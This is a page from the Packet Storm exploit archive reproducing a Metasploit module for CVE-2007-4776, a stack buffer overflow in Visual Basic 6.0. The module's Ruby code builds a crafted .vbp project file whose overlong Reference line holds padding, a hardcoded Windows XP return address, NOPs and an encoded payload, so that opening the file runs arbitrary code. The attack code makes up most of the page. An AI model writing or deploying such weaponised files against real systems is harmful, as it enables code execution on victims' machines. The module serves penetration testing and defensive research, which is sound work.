exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Visual Basic VBP Buffer Overflow

Microsoft Visual Basic VBP Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack oveflow in Microsoft Visual Basic 6.0. When a specially crafted vbp file containing a long reference line, an attacker may be able to execute arbitrary code.

tags | exploit, arbitrary
advisories | CVE-2007-4776
SHA-256 | 6e374c5188f5608083cbab9fb2401659c976e19fb28d2bb839bd2373dbb1a54e

Microsoft Visual Basic VBP Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',
'Description' => %q{
This module exploits a stack oveflow in Microsoft Visual
Basic 6.0. When a specially crafted vbp file containing a long
reference line, an attacker may be able to execute arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2007-4776' ],
[ 'BID', '25629' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2007',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.vbp']),
], self.class)

end

def exploit

sploit = rand_text_alpha_upper(496) + [target.ret].pack('V')
sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
sploit << make_nops(24) + payload.encoded

vbp = "Type=Exe\r\n"
vbp << "Form=Form2.frm\r\n"
vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
vbp << sploit + "\r\n"
vbp << "Startup=\"Form2\"\r\n"
vbp << "Command32=\"\"\r\n"
vbp << "Name=\"Project2\"\r\n"
vbp << "HelpContextID=\"0\"\r\n"
vbp << "CompatibleMode=\"0\"\r\n"
vbp << "MajorVer=1\r\n"
vbp << "MinorVer=0\r\n"
vbp << "RevisionVer=0\r\n"
vbp << "AutoIncrementVer=0\r\n"
vbp << "ServerSupportFiles=0\r\n"
vbp << "VersionCompanyName=\"\"\r\n"
vbp << "CompilationType=0\r\n"
vbp << "OptimizationType=0\r\n"
vbp << "FavorPentiumPro(tm)=0\r\n"
vbp << "CodeViewDebugInfo=0\r\n"
vbp << "NoAliasing=0\r\n"
vbp << "BoundsCheck=0\r\n"
vbp << "OverflowCheck=0\r\n"
vbp << "FlPointCheck=0\r\n"
vbp << "FDIVCheck=0\r\n"
vbp << "UnroundedFP=0\r\n"
vbp << "StartMode=0\r\n"
vbp << "Unattended=0\r\n"
vbp << "Retained=0\r\n"
vbp << "ThreadPerObject=0\r\n"
vbp << "MaxNumberOfThreads=1\r\n"
vbp << "[MS Transaction Server]\r\n"
vbp << "AutoRefresh=1\r\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(vbp)

end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close